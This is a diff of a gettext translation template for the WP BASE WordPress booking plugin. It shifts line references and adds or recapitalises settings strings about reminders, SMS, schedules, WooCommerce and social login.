+#: includes/constant-data.php:580
 #, php-format
 msgid ""
 "Time within which reminder emails for %s will not be sent, preventing email "
@@ -12739,15 +13535,15 @@
 "or 12 hours later."
 msgstr ""
 
-#: includes/constant-data.php:567
+#: includes/constant-data.php:580
 msgid "child bookings"
 msgstr ""
 
-#: includes/constant-data.php:568
+#: includes/constant-data.php:581
 msgid "Reminder email Sending Time for the Client (hours)"
 msgstr ""
 
-#: includes/constant-data.php:568
+#: includes/constant-data.php:581
 msgid ""
 "Defines how many hours  before the appointment start time reminder email "
 "will be sent to the client. Multiple reminders are possible. To do so, enter "
@@ -12757,11 +13553,11 @@
 "not be sent, 24-hours-before reminder will be."
 msgstr ""
 
-#: includes/constant-data.php:569
+#: includes/constant-data.php:582
 msgid "Reminder SMS Sending Time for the Client (hours)"
 msgstr ""
 
-#: includes/constant-data.php:569
+#: includes/constant-data.php:582
 msgid ""
 "Defines how many hours  before the appointment will take place reminder SMS "
 "will be sent to the client. Multiple reminders are possible. To do so, enter "
@@ -12771,42 +13567,80 @@
 "not be sent, 24-hours-before reminder will be."
 msgstr ""
 
-#: includes/constant-data.php:570
+#: includes/constant-data.php:583
 msgid "Reminder SMS Sending Time for the Provider (hours)"
 msgstr ""
 
-#: includes/constant-data.php:570
+#: includes/constant-data.php:583
 msgid ""
 "Same as Reminder SMS Sending Time for the Client, but defines the time for "
 "service provider."
 msgstr ""
 
-#: includes/constant-data.php:571
+#: includes/constant-data.php:584
 msgid "Reminder email Sending Time for the Provider (hours)"
 msgstr ""
 
-#: includes/constant-data.php:571
+#: includes/constant-data.php:584
 msgid ""
 "Same as Reminder email Sending Time for the Client, but defines the time for "
 "service provider."
 msgstr ""
 
-#: includes/constant-data.php:572
+#: includes/constant-data.php:585
 msgid "Reverse Log"
 msgstr ""
 
-#: includes/constant-data.php:572
+#: includes/constant-data.php:585
 #, php-format
 msgid ""
 "Select \"Yes\" to reverse the display order of records in %s, from newest to "
 "oldest."
 msgstr ""
 
-#: includes/constant-data.php:573
+#: includes/constant-data.php:586
+msgid "Allowed Booking Statuses (Client)"
+msgstr ""
+
+#: includes/constant-data.php:586
+msgid ""
+"Clients can select only these booking statuses to be displayed in their "
+"schedules"
+msgstr ""
+
+#: includes/constant-data.php:587
+msgid "Allowed Booking Statuses (Provider)"
+msgstr ""
+
+#: includes/constant-data.php:587
+msgid ""
+"Service providers can select only these booking statuses to be displayed in "
+"their schedules"
+msgstr ""
+
+#: includes/constant-data.php:588
+msgid "Clear Schedules Cache"
+msgstr ""
+
+#: includes/constant-data.php:588
+msgid ""
+"To Clear the cache, set \"Yes\". After save and cache cleared, this setting "
+"will automatically turn back to \"No\"."
+msgstr ""
+
+#: includes/constant-data.php:589
+msgid "Clients can Use Schedules"
+msgstr ""
+
+#: includes/constant-data.php:589
+msgid "Whether allow clients use Schedules"
+msgstr ""
+
+#: includes/constant-data.php:590
 msgid "Template for Schedule (Admin)"
 msgstr ""
 
-#: includes/constant-data.php:573
+#: includes/constant-data.php:590
 #, php-format
 msgid ""
 "Bookings in %1$s will be displayed to admin according to this template. "
@@ -12814,194 +13648,205 @@
 "real values."
 msgstr ""
 
-#: includes/constant-data.php:573 includes/constant-data.php:574
+#: includes/constant-data.php:590 includes/constant-data.php:591
+#: includes/constant-data.php:592
 msgid "Booking Schedules"
 msgstr ""
 
-#: includes/constant-data.php:574
-msgid "Template for Schedule (Provider)"
+#: includes/constant-data.php:591
+msgid "Template for Schedule (Client)"
 msgstr ""
 
-#: includes/constant-data.php:574
+#: includes/constant-data.php:591
 #, php-format
 msgid ""
-"Bookings in %1$s will be displayed to service provider according to this "
-"template. <abbr title=\"%2$s\">Booking placeholders</abbr> will be replaced "
-"by their real values."
+"Bookings in %1$s will be displayed to the client according to this template. "
+"<abbr title=\"%2$s\">Booking placeholders</abbr> will be replaced by their "
+"real values."
 msgstr ""
 
-#: includes/constant-data.php:575
-msgid "Allowed Booking Statuses (Provider)"
+#: includes/constant-data.php:592
+msgid "Template for Schedule (Provider)"
 msgstr ""
 
-#: includes/constant-data.php:575
+#: includes/constant-data.php:592
+#, php-format
 msgid ""
-"Service providers can select only these booking statuses to be displayed in "
-"their schedules"
+"Bookings in %1$s will be displayed to service provider according to this "
+"template. <abbr title=\"%2$s\">Booking placeholders</abbr> will be replaced "
+"by their real values."
 msgstr ""
 
-#: includes/constant-data.php:576
+#: includes/constant-data.php:593
 msgid "Show Profile Images"
 msgstr ""
 
-#: includes/constant-data.php:576
+#: includes/constant-data.php:593
 msgid "Whether show service provider profile images in the Schedules"
 msgstr ""
 
-#: includes/constant-data.php:577
+#: includes/constant-data.php:594
 msgid "Send Approved email"
 msgstr ""
 
-#: includes/constant-data.php:577
+#: includes/constant-data.php:594
 msgid ""
 "Whether to send an email after vendor application automatically approved. "
 "Note: Admin can always send manual email on Vendors page."
 msgstr ""
 
-#: includes/constant-data.php:578
+#: includes/constant-data.php:595
 msgid "Send Cancellation email (Single)"
 msgstr ""
 
-#: includes/constant-data.php:578
+#: includes/constant-data.php:595
 msgid ""
 "Whether to send an email after cancellation of the booking. Note: Admin and "
 "service provider will also get a copy as separate emails."
 msgstr ""
 
-#: includes/constant-data.php:579
+#: includes/constant-data.php:596
 msgid "Send Cancellation email (Bulk)"
 msgstr ""
 
-#: includes/constant-data.php:579
+#: includes/constant-data.php:596
 msgid ""
 "Same as above but whether to send emails to clients when \"bulk\" status "
 "change of removed is applied to bookings on admin side."
 msgstr ""
 
-#: includes/constant-data.php:580
+#: includes/constant-data.php:597
 msgid "Send Cancellation SMS"
 msgstr ""
 
-#: includes/constant-data.php:580 includes/constant-data.php:581
-#: includes/constant-data.php:583
+#: includes/constant-data.php:597 includes/constant-data.php:598
+#: includes/constant-data.php:600
 msgid "Whether to send an SMS after cancellation of the appointment."
 msgstr ""
 
-#: includes/constant-data.php:581
+#: includes/constant-data.php:598
 msgid "Send Cancellation SMS (Admin)"
 msgstr ""
 
-#: includes/constant-data.php:582
+#: includes/constant-data.php:599
 msgid "Send Cancellation SMS (Bulk)"
 msgstr ""
 
-#: includes/constant-data.php:582
+#: includes/constant-data.php:599
 msgid ""
 "Same as above but whether to send SMS messages to clients when \"bulk\" "
 "status change of removed is applied to bookings on admin side."
 msgstr ""
 
-#: includes/constant-data.php:583
+#: includes/constant-data.php:600
 msgid "Send Cancellation SMS (Provider)"
 msgstr ""
 
-#: includes/constant-data.php:584
+#: includes/constant-data.php:601
+msgid "Send Commission Paid email"
+msgstr ""
+
+#: includes/constant-data.php:601
+msgid "Whether to send an email after a commission is paid to the vendor."
+msgstr ""
+
+#: includes/constant-data.php:602
 msgid "Send Completed email (Single)"
 msgstr ""
 
-#: includes/constant-data.php:584
+#: includes/constant-data.php:602
 msgid "Whether to send an email after an appointment has been completed."
 msgstr ""
 
-#: includes/constant-data.php:585
+#: includes/constant-data.php:603
 msgid "Send Completed email (Bulk)"
 msgstr ""
 
-#: includes/constant-data.php:585
+#: includes/constant-data.php:603
 msgid ""
 "Send email to the client(s) when \"bulk\" status change of completed is "
 "applied to bookings on admin side. "
 msgstr ""
 
-#: includes/constant-data.php:586
+#: includes/constant-data.php:604
 msgid "Send Completed SMS"
 msgstr ""
 
-#: includes/constant-data.php:586 includes/constant-data.php:587
-#: includes/constant-data.php:589
+#: includes/constant-data.php:604 includes/constant-data.php:605
+#: includes/constant-data.php:607
 msgid "Whether to send an SMS after an appointment has been completed."
 msgstr ""
 
-#: includes/constant-data.php:587
+#: includes/constant-data.php:605
 msgid "Send Completed SMS (Admin)"
 msgstr ""
 
-#: includes/constant-data.php:588
+#: includes/constant-data.php:606
 msgid "Send Completed SMS (Bulk)"
 msgstr ""
 
-#: includes/constant-data.php:588
+#: includes/constant-data.php:606
 msgid ""
 "Send SMS to the client(s) when \"bulk\" status change of completed is "
 "applied to bookings on admin side. "
 msgstr ""
 
-#: includes/constant-data.php:589
+#: includes/constant-data.php:607
 msgid "Send Completed SMS (Provider)"
 msgstr ""
 
-#: includes/constant-data.php:590
-msgid "Send Confirmation email (Single)"
+#: includes/constant-data.php:608
+msgid "Send Confirmation Email (Single)"
 msgstr ""
 
-#: includes/constant-data.php:590
+#: includes/constant-data.php:608
 msgid ""
 "Whether to send an email after confirmation of the booking. Note: Admin and "
 "service provider will also get a copy as separate emails."
 msgstr ""
 
-#: includes/constant-data.php:591
-msgid "Send Confirmation email (Bulk)"
+#: includes/constant-data.php:609
+msgid "Send Confirmation Email (Bulk)"
 msgstr ""
 
-#: includes/constant-data.php:591
+#: includes/constant-data.php:609
 msgid ""
-"Send Confirmation email to the client(s) when \"bulk\" status change of "
+"Send Confirmation Email to the client(s) when \"bulk\" status change of "
 "confirmed or paid is applied to bookings on admin side. "
 msgstr ""
 
-#: includes/constant-data.php:592
+#: includes/constant-data.php:610
 msgid "Send Confirmation SMS"
 msgstr ""
 
-#: includes/constant-data.php:592 includes/constant-data.php:593
-#: includes/constant-data.php:595
+#: includes/constant-data.php:610 includes/constant-data.php:611
+#: includes/constant-data.php:613
 msgid "Whether to send an SMS after confirmation of the booking."
 msgstr ""
 
-#: includes/constant-data.php:593
+#: includes/constant-data.php:611
 msgid "Send Confirmation SMS (Admin)"
 msgstr ""
 
-#: includes/constant-data.php:594
+#: includes/constant-data.php:612
 msgid "Send Confirmation SMS (Bulk)"
 msgstr ""
 
-#: includes/constant-data.php:594
+#: includes/constant-data.php:612
 msgid ""
 "Send Confirmation SMS to the client(s) when \"bulk\" status change of "
 "confirmed or paid is applied to bookings on admin side. "
 msgstr ""
 
-#: includes/constant-data.php:595
+#: includes/constant-data.php:613
 msgid "Send Confirmation SMS (Provider)"
 msgstr ""
 
-#: includes/constant-data.php:596
+#: includes/constant-data.php:614
 msgid "Send Due Payment Reminder email to the Client"
 msgstr ""
 
-#: includes/constant-data.php:596
+#: includes/constant-data.php:614
 msgid ""
 "Whether to send due payment reminder email(s) to the clients in intervals "
 "selected below. This email is only sent for the selected booking statuses "
@@ -13009,19 +13854,19 @@
 "negative and its absolute value is greater than the amount selected below."
 msgstr ""
 
-#: includes/constant-data.php:597
+#: includes/constant-data.php:615
 msgid "Send Follow-up email to the Client"
 msgstr ""
 
-#: includes/constant-data.php:597
+#: includes/constant-data.php:615
 msgid "Whether to send follow-up email(s) to the client"
 msgstr ""
 
-#: includes/constant-data.php:598
-msgid "Send Pending email to Admin"
+#: includes/constant-data.php:616
+msgid "Send Pending Email to Admin"
 msgstr ""
 
-#: includes/constant-data.php:598
+#: includes/constant-data.php:616
 msgid ""
 "You may want to receive a notification email whenever a new appointment is "
 "made from front end in pending status. This email is only sent if your "
@@ -13030,124 +13875,124 @@
 "Confirm Own Appointments\" is set as Yes."
 msgstr ""
 
-#: includes/constant-data.php:599
-msgid "Send Pending email to the Client (Single)"
+#: includes/constant-data.php:617
+msgid "Send Pending Email to the Client (Single)"
 msgstr ""
 
-#: includes/constant-data.php:599
+#: includes/constant-data.php:617
 msgid ""
 "Whether to send an email after a booking has been made in pending status."
 msgstr ""
 
-#: includes/constant-data.php:600
-msgid "Send Pending email to the Client (Bulk)"
+#: includes/constant-data.php:618
+msgid "Send Pending Email to the Client (Bulk)"
 msgstr ""
 
-#: includes/constant-data.php:600
+#: includes/constant-data.php:618
 msgid ""
 "Send email to the client(s) when \"bulk\" status change of pending is "
 "applied to bookings on admin side. "
 msgstr ""
 
-#: includes/constant-data.php:601
+#: includes/constant-data.php:619
 msgid "Send Pending SMS"
 msgstr ""
 
-#: includes/constant-data.php:601 includes/constant-data.php:602
-#: includes/constant-data.php:604
+#: includes/constant-data.php:619 includes/constant-data.php:620
+#: includes/constant-data.php:622
 msgid "Whether to send an SMS after a booking has been made in pending status."
 msgstr ""
 
-#: includes/constant-data.php:602
+#: includes/constant-data.php:620
 msgid "Send Pending SMS (Admin)"
 msgstr ""
 
-#: includes/constant-data.php:603
+#: includes/constant-data.php:621
 msgid "Send Pending SMS (Bulk)"
 msgstr ""
 
-#: includes/constant-data.php:603
+#: includes/constant-data.php:621
 msgid ""
 "Send SMS to the client(s) when \"bulk\" status change of pending is applied "
 "to bookings on admin side. "
 msgstr ""
 
-#: includes/constant-data.php:604
+#: includes/constant-data.php:622
 msgid "Send Pending SMS (Provider)"
 msgstr ""
 
-#: includes/constant-data.php:605
+#: includes/constant-data.php:623
 msgid "Send Reminder email to the Client"
 msgstr ""
 
-#: includes/constant-data.php:605
+#: includes/constant-data.php:623
 msgid "Whether to send reminder email(s) to the client before the appointment."
 msgstr ""
 
-#: includes/constant-data.php:606
+#: includes/constant-data.php:624
 msgid "Send Reminder SMS to the Client"
 msgstr ""
 
-#: includes/constant-data.php:606
+#: includes/constant-data.php:624
 msgid ""
 "Whether to send reminder SMS message(s) to the client before the appointment."
 msgstr ""
 
-#: includes/constant-data.php:607
+#: includes/constant-data.php:625
 msgid "Send Reminder SMS to the Provider"
 msgstr ""
 
-#: includes/constant-data.php:607
+#: includes/constant-data.php:625
 msgid ""
 "Whether to send reminder SMS message(s) to the service provider before the "
 "appointment."
 msgstr ""
 
-#: includes/constant-data.php:608
+#: includes/constant-data.php:626
 msgid "Send Reminder email to the Provider"
 msgstr ""
 
-#: includes/constant-data.php:608
+#: includes/constant-data.php:626
 msgid ""
 "Whether to send reminder email(s) to the service provider before the "
 "appointment."
 msgstr ""
 
-#: includes/constant-data.php:609
+#: includes/constant-data.php:627
 msgid "Send Submission email to the Client"
 msgstr ""
 
-#: includes/constant-data.php:609
+#: includes/constant-data.php:627
 msgid ""
 "Whether to send an email to the client informing that their submission has "
 "been received and added to the waiting list."
 msgstr ""
 
-#: includes/constant-data.php:610
+#: includes/constant-data.php:628
 msgid "Send Notification email to the Client"
 msgstr ""
 
-#: includes/constant-data.php:610
+#: includes/constant-data.php:628
 msgid ""
 "Whether to send an email to the client informing that there is an opening in "
 "the submissions for waiting list."
 msgstr ""
 
-#: includes/constant-data.php:611
+#: includes/constant-data.php:629
 msgid "Send Vendor Pending email"
 msgstr ""
 
-#: includes/constant-data.php:611
+#: includes/constant-data.php:629
 msgid ""
 "Whether to send an email after vendor application is accepted in pending "
 "status. Note: Admin can always send manual email on Vendors page."
 msgstr ""
 
-#: includes/constant-data.php:613
+#: includes/constant-data.php:631
 msgid "Service Working Hours Cover Service Providers"
 msgstr ""
 
-#: includes/constant-data.php:613
+#: includes/constant-data.php:631
 msgid ""
 "Only valid if Service Providers addon is active. If set as \"Yes\", when "
 "working hours of a service provider are changed, working hours of related "
@@ -13158,51 +14003,51 @@
 "setting changes."
 msgstr ""
 
-#: includes/constant-data.php:614
+#: includes/constant-data.php:632
 msgid "Effect When Opening Dialogs"
 msgstr ""
 
-#: includes/constant-data.php:614
+#: includes/constant-data.php:632
 #, php-format
 msgid "jQuery UI %s when opening a jQuery UI dialog."
 msgstr ""
 
-#: includes/constant-data.php:615
+#: includes/constant-data.php:633
 msgid "Show Legend"
 msgstr ""
 
-#: includes/constant-data.php:615
+#: includes/constant-data.php:633
 msgid ""
 "Whether to display description fields above the pagination (next/previous "
 "dates buttons) area. Only effective when calendar design is \"legacy\"."
 msgstr ""
 
-#: includes/constant-data.php:616
+#: includes/constant-data.php:634
 msgid "Website Languages"
 msgstr ""
 
-#: includes/constant-data.php:616
+#: includes/constant-data.php:634
 msgid ""
 "Select all languages except the default language that will be used in the "
 "website. In paranthesis WordPress locale codes are given."
 msgstr ""
 
-#: includes/constant-data.php:617
+#: includes/constant-data.php:635
 msgid "Skip Dummy"
 msgstr ""
 
-#: includes/constant-data.php:617
+#: includes/constant-data.php:635
 msgid ""
 "Whether dummy providers will be skipped at front end provider selection "
 "menu. This selection does not prevent dummy to be assigned to a service "
 "automatically."
 msgstr ""
 
-#: includes/constant-data.php:618
+#: includes/constant-data.php:636
 msgid "Use Slider with Featured Images (non mobile)"
 msgstr ""
 
-#: includes/constant-data.php:618
+#: includes/constant-data.php:636
 #, php-format
 msgid ""
 "When user connected with a non mobile device, whether to use slider to "
@@ -13210,115 +14055,115 @@
 "be used. Note: To set service slider image and description, use %s page."
 msgstr ""
 
-#: includes/constant-data.php:619
+#: includes/constant-data.php:637
 msgid "Use Slider with Featured Images (mobile)"
 msgstr ""
 
-#: includes/constant-data.php:619
+#: includes/constant-data.php:637
 msgid ""
 "When user connected with a mobile device, whether to use slider to select "
 "services (or providers) from. Otherwise same as the above setting."
 msgstr ""
 
-#: includes/constant-data.php:620
+#: includes/constant-data.php:638
 msgid "Number of Slides (non mobile)"
 msgstr ""
 
-#: includes/constant-data.php:620
+#: includes/constant-data.php:638
 msgid "Number of slides to be displayed for non mobile devices."
 msgstr ""
 
-#: includes/constant-data.php:621
+#: includes/constant-data.php:639
 msgid "Number of Slides (mobile)"
 msgstr ""
 
-#: includes/constant-data.php:621
+#: includes/constant-data.php:639
 msgid ""
 "Number of slides to be displayed for mobile devices. If slider container "
 "width is less than 600px, also this setting will be used."
 msgstr ""
 
-#: includes/constant-data.php:622
+#: includes/constant-data.php:640
 msgid "Slider margin (px)"
 msgstr ""
 
-#: includes/constant-data.php:622
+#: includes/constant-data.php:640
 msgid "Margin between slides in pixel."
 msgstr ""
 
-#: includes/constant-data.php:623
+#: includes/constant-data.php:641
 msgid "Fixed slide width (px)"
 msgstr ""
 
-#: includes/constant-data.php:623
+#: includes/constant-data.php:641
 msgid ""
 "Fixed slide width in pixel. This is only effective if number of slides is "
 "set az zero. Otherwise width will be automatically adjusted based on width "
 "of the wrapper."
 msgstr ""
 
-#: includes/constant-data.php:624
+#: includes/constant-data.php:642
 msgid "SMS Service"
 msgstr ""
 
-#: includes/constant-data.php:624
+#: includes/constant-data.php:642
 msgid "Service company that will be used to send SMS"
 msgstr ""
 
-#: includes/constant-data.php:625
+#: includes/constant-data.php:643
 msgid "Facebook API ID"
 msgstr ""
 
-#: includes/constant-data.php:626
+#: includes/constant-data.php:644
 msgid "Facebook API Secret"
 msgstr ""
 
-#: includes/constant-data.php:626
+#: includes/constant-data.php:644
 #, php-format
 msgid "Facebook API Secret. Receive your credentials %s."
 msgstr ""
 
-#: includes/constant-data.php:628
+#: includes/constant-data.php:646
 msgid "Google Client Secret"
 msgstr ""
 
-#: includes/constant-data.php:628
+#: includes/constant-data.php:646
 #, php-format
 msgid "Google Client Secret. Receive your credentials %s."
 msgstr ""
 
-#: includes/constant-data.php:629
+#: includes/constant-data.php:647
 msgid "Login Platforms"
 msgstr ""
 
-#: includes/constant-data.php:629
+#: includes/constant-data.php:647
 msgid ""
 "Select Social Media platforms that will be provided to your clients at "
 "checkout for registering and logging in to your website."
 msgstr ""
 
-#: includes/constant-data.php:630
+#: includes/constant-data.php:648
 msgid "WordPress Client ID"
 msgstr ""
 
-#: includes/constant-data.php:630
+#: includes/constant-data.php:648
 msgid "wordpress.com Client ID"
 msgstr ""
 
-#: includes/constant-data.php:631
+#: includes/constant-data.php:649
 msgid "WordPress Client Secret"
 msgstr ""
 
-#: includes/constant-data.php:631
+#: includes/constant-data.php:649
 #, php-format
 msgid "wordpress.com Client Secret. Receive your credentials %s."
 msgstr ""
 
-#: includes/constant-data.php:632
+#: includes/constant-data.php:650
 msgid "Minimum Time to Pass for New Appointment (secs)"
 msgstr ""
 
-#: includes/constant-data.php:632
+#: includes/constant-data.php:650
 msgid ""
 "You can limit appointment application frequency to prevent spammers who can "
 "block your appointments. This is only applied to pending appointments. Enter "
@@ -13326,19 +14171,19 @@
 "client before a payment or manual confirmation, enter a huge number here."
 msgstr ""
 
-#: includes/constant-data.php:633
+#: includes/constant-data.php:651
 msgid "Spinner"
 msgstr ""
 
-#: includes/constant-data.php:633
+#: includes/constant-data.php:651
 msgid "Spinner displayed in the info panel during ajax calls."
 msgstr ""
 
-#: includes/constant-data.php:634
+#: includes/constant-data.php:652
 msgid "Strict Check for Manual Entries"
 msgstr ""
 
-#: includes/constant-data.php:634
+#: includes/constant-data.php:652
 msgid ""
 "If this option is selected as Yes, manual booking entries will be checked "
 "against availability of the service and service provider and they will be "
@@ -13346,17 +14191,17 @@
 "unrestricted access over manual booking entries."
 msgstr ""
 
-#: includes/constant-data.php:635
+#: includes/constant-data.php:653
 msgid "Tax (%)"
 msgstr ""
 
-#: includes/constant-data.php:635
+#: includes/constant-data.php:653
 msgid ""
 "Tax, e.g. VAT, in percent. WP BASE assumes that your prices already include "
 "tax. This setting will only be used to calculate \"price without tax\" value."
 msgstr ""
 
-#: includes/constant-data.php:636
+#: includes/constant-data.php:654
 #, php-format
 msgid ""
 "This is the text beside terms and conditions checkbox. On the front end, "
@@ -13365,15 +14210,15 @@
 "<code>I accept %s.</code>"
 msgstr ""
 
-#: includes/constant-data.php:636
+#: includes/constant-data.php:654
 msgid "Terms and Conditions"
 msgstr ""
 
-#: includes/constant-data.php:637
+#: includes/constant-data.php:655
 msgid "Timezone Info Note"
 msgstr ""
 
-#: includes/constant-data.php:637
+#: includes/constant-data.php:655
 msgid ""
 "Note informing about effective user timezone which will be displayed under "
 "calendars and list of bookings table. TZ_SHORT and TZ_LONG placeholders will "
@@ -13381,37 +14226,37 @@
 "respectively. Default: \"All times are set to TZ_SHORT (TZ_LONG)\""
 msgstr ""
 
-#: includes/constant-data.php:638
+#: includes/constant-data.php:656
 msgid "Use Trial Services"
 msgstr ""
 
-#: includes/constant-data.php:638
+#: includes/constant-data.php:656
 msgid ""
 "Whether to use trial services which are services offered to users in limited "
 "numbers. They can be free or having special prices."
 msgstr ""
 
-#: includes/constant-data.php:639
+#: includes/constant-data.php:657
 msgid "Make Free"
 msgstr ""
 
-#: includes/constant-data.php:639
+#: includes/constant-data.php:657
 msgid "Make all trial services free of charge regardless of any other setting."
 msgstr ""
 
-#: includes/constant-data.php:640
+#: includes/constant-data.php:658
 msgid "Number of Usage"
 msgstr ""
 
-#: includes/constant-data.php:640
+#: includes/constant-data.php:658
 msgid "In total how many times a client can use trial service sessions."
 msgstr ""
 
-#: includes/constant-data.php:641
+#: includes/constant-data.php:659
 msgid "Once from each Provider"
 msgstr ""
 
-#: includes/constant-data.php:641
+#: includes/constant-data.php:659
 msgid ""
 "Whether trial services can be taken only once from any provider. If number "
 "of usage is greater than one, setting this as Yes will not allow to choose "
@@ -13419,17 +14264,17 @@
 "(upcoming) bookings."
 msgstr ""
 
-#: includes/constant-data.php:642
+#: includes/constant-data.php:660
 msgid ""
 "Services which will be offered to the client only limited number of times. "
 "They can be free or have a special price."
 msgstr ""
 
-#: includes/constant-data.php:643 includes/custom-texts.php:1292
+#: includes/constant-data.php:661 includes/custom-texts.php:1298
 msgid "Theme"
 msgstr ""
 
-#: includes/constant-data.php:643
+#: includes/constant-data.php:661
 #, php-format
 msgid ""
 "jQuery UI theme that will be used in calendar, table, datepicker, dialog, "
@@ -13438,15 +14283,15 @@
 "there)."
 msgstr ""
 
-#: includes/constant-data.php:644
+#: includes/constant-data.php:662
 msgid "Thousands Separator"
 msgstr ""
 
-#: includes/constant-data.php:645
+#: includes/constant-data.php:663
 msgid "Use Time Base in Time Slot Calculus"
 msgstr ""
 
-#: includes/constant-data.php:645
+#: includes/constant-data.php:663
 #, php-format
 msgid ""
 "By default (setting as \"No\") time slots will be generated based on service "
@@ -13456,11 +14301,11 @@
 "have time slots of 8:00, 8:30, 9:00, 9:30, etc in this case."
 msgstr ""
 
-#: includes/constant-data.php:646
+#: includes/constant-data.php:664
 msgid "Twilio Account ID"
 msgstr ""
 
-#: includes/constant-data.php:646
+#: includes/constant-data.php:664
 #, php-format
 msgid ""
 "Get your Account ID/Auth Token pair after you login %s and enter here. If "
@@ -13468,24 +14313,24 @@
 "simulated. You can check the results in log file or in your Twilio account."
 msgstr ""
 
-#: includes/constant-data.php:646 includes/constant-data.php:647
+#: includes/constant-data.php:664 includes/constant-data.php:665
 msgid "your Twilio account"
 msgstr ""
 
-#: includes/constant-data.php:647
+#: includes/constant-data.php:665
 msgid "Twilio Auth Token"
 msgstr ""
 
-#: includes/constant-data.php:647
+#: includes/constant-data.php:665
 #, php-format
 msgid "Get token from %s"
 msgstr ""
 
-#: includes/constant-data.php:648
+#: includes/constant-data.php:666
 msgid "Twilio \"From\" phone"
 msgstr ""
 
-#: includes/constant-data.php:648
+#: includes/constant-data.php:666
 #, php-format
 msgid ""
 "A Twilio phone number (in E.164 format) or alphanumeric sender ID enabled "
@@ -13493,34 +14338,34 @@
 "credentials, use this number: +15005550006"
 msgstr ""
 
-#: includes/constant-data.php:648
+#: includes/constant-data.php:666
 msgid "click here"
 msgstr ""
 
-#: includes/constant-data.php:649
+#: includes/constant-data.php:667
 msgid "Twitter Consumer Key"
 msgstr ""
 
-#: includes/constant-data.php:649
+#: includes/constant-data.php:667
 #, php-format
 msgid ""
 "Enter your Twitter App ID number here. If you don't have a Twitter App yet, "
 "you will need to create one <a href=\"%s\" target=\"_blank\">here</a>"
 msgstr ""
 
-#: includes/constant-data.php:650
+#: includes/constant-data.php:668
 msgid "Twitter Consumer Secret"
 msgstr ""
 
-#: includes/constant-data.php:650
+#: includes/constant-data.php:668
 msgid "Enter your Twitter App ID Secret here."
 msgstr ""
 
-#: includes/constant-data.php:651
+#: includes/constant-data.php:669
 msgid "Globally Enable Shopping Cart"
 msgstr ""
 
-#: includes/constant-data.php:651
+#: includes/constant-data.php:669
 msgid ""
 "Enables shopping cart selection for every applicable shortcode. Tip: If you "
 "want to use cart on a particular page, and not on other booking pages, you "
@@ -13528,50 +14373,50 @@
 "use_cart=\"yes\"]</code> on the desired page."
 msgstr ""
 
-#: includes/constant-data.php:652
+#: includes/constant-data.php:670
 msgid "Use Events"
 msgstr ""
 
-#: includes/constant-data.php:652
+#: includes/constant-data.php:670
 msgid ""
 "Whether use Event Bookings in the store in addition to Service Bookings."
 msgstr ""
 
-#: includes/constant-data.php:653
+#: includes/constant-data.php:671
 msgid "Use Flex Steps"
 msgstr ""
 
-#: includes/constant-data.php:653
+#: includes/constant-data.php:671
 msgid ""
 "With Flex Steps, clients make bookings by following steps. These steps are "
 "dynamically added and removed depending on the selected service."
 msgstr ""
 
-#: includes/constant-data.php:654
+#: includes/constant-data.php:672
 msgid "Use HTML in emails"
 msgstr ""
 
-#: includes/constant-data.php:654
+#: includes/constant-data.php:672
 msgid ""
 "Selecting this as Yes will allow HTML codes, e.g. images, colors, fonts, "
 "etc. to be used in emails."
 msgstr ""
 
-#: includes/constant-data.php:655
+#: includes/constant-data.php:673
 msgid "Use Sidebar Widgets"
 msgstr ""
 
-#: includes/constant-data.php:655
+#: includes/constant-data.php:673
 msgid ""
 "Enable WP BASE legacy sidebar widgets. In order to configure them, you will "
 "also need to install \"Classic Widgets\" plugin."
 msgstr ""
 
-#: includes/constant-data.php:656
+#: includes/constant-data.php:674
 msgid "Add Coundown to Cart & Checkout"
 msgstr ""
 
-#: includes/constant-data.php:656
+#: includes/constant-data.php:674
 #, php-format
 msgid ""
 "Advanced Features addon is required. Setting this as Yes will automatically "
@@ -13581,19 +14426,19 @@
 "go to cart page on our %s."
 msgstr ""
 
-#: includes/constant-data.php:656
+#: includes/constant-data.php:674
 msgid "Maximum Allowed Checkout Time"
 msgstr ""
 
-#: includes/constant-data.php:656 includes/constant-data.php:661
+#: includes/constant-data.php:674 includes/constant-data.php:679
 msgid "WooCommerce demo website"
 msgstr ""
 
-#: includes/constant-data.php:657
+#: includes/constant-data.php:675
 msgid "Add WP BASE Payments to WC Orders"
 msgstr ""
 
-#: includes/constant-data.php:657
+#: includes/constant-data.php:675
 msgid ""
 "Add WP BASE Payments related to a WooCommerce order consisting of WP BASE "
 "bookings. This may be required if you ask only deposit during order process "
@@ -13601,93 +14446,93 @@
 "Manual Payments addon."
 msgstr ""
 
-#: includes/constant-data.php:658
+#: includes/constant-data.php:676
 msgid "Enable Deposits"
 msgstr ""
 
-#: includes/constant-data.php:658
+#: includes/constant-data.php:676
 msgid ""
 "Enabling this option will result in showing deposited amount and due amount "
 "at order records. This is intended to be used with WC Deposits extension."
 msgstr ""
 
-#: includes/constant-data.php:659
+#: includes/constant-data.php:677
 msgid "Create Order with Manual Booking"
 msgstr ""
 
-#: includes/constant-data.php:659
+#: includes/constant-data.php:677
 msgid ""
 "Automatically create WooCommerce order when a booking is added on admin "
 "side. Customer will also be created. If there is not enough user data "
 "available, current admin user will be set as customer."
 msgstr ""
 
-#: includes/constant-data.php:660
+#: includes/constant-data.php:678
 msgid "Description Tab Heading"
 msgstr ""
 
-#: includes/constant-data.php:660
+#: includes/constant-data.php:678
 msgid ""
 "Renames description tab for booking product pages. Leave empty if you do not "
 "want a change."
 msgstr ""
 
-#: includes/constant-data.php:661
+#: includes/constant-data.php:679
 #, php-format
 msgid ""
 "Enables integration with WooCommerce e-commerce plugin. That is, WP BASE "
 "services can be sold as WooCommerce products. Also see %s."
 msgstr ""
 
-#: includes/constant-data.php:662
+#: includes/constant-data.php:680
 msgid "Modify Coupons"
 msgstr ""
 
-#: includes/constant-data.php:662
+#: includes/constant-data.php:680
 msgid ""
 "Enabling this option will allow adding validity rules to WooCommerce regular "
 "coupons. Coupons can be set to be only valid for certain services, booking "
 "dates and times."
 msgstr ""
 
-#: includes/constant-data.php:663
+#: includes/constant-data.php:681
 msgid "Details in emails and Order Form"
 msgstr ""
 
-#: includes/constant-data.php:663
+#: includes/constant-data.php:681
 #, php-format
 msgid ""
 "Details of booking that will be added below product name in emails and order "
 "form. All <abbr title=\"%s\">booking placeholders</abbr> can be used."
 msgstr ""
 
-#: includes/constant-data.php:664
+#: includes/constant-data.php:682
 msgid "Name in Cart"
 msgstr ""
 
-#: includes/constant-data.php:664
+#: includes/constant-data.php:682
 #, php-format
 msgid ""
 "Defines how the selected booking will be displayed in the cart. All <abbr "
 "title=\"%s\">booking placeholders</abbr> can be used."
 msgstr ""
 
-#: includes/constant-data.php:665
+#: includes/constant-data.php:683
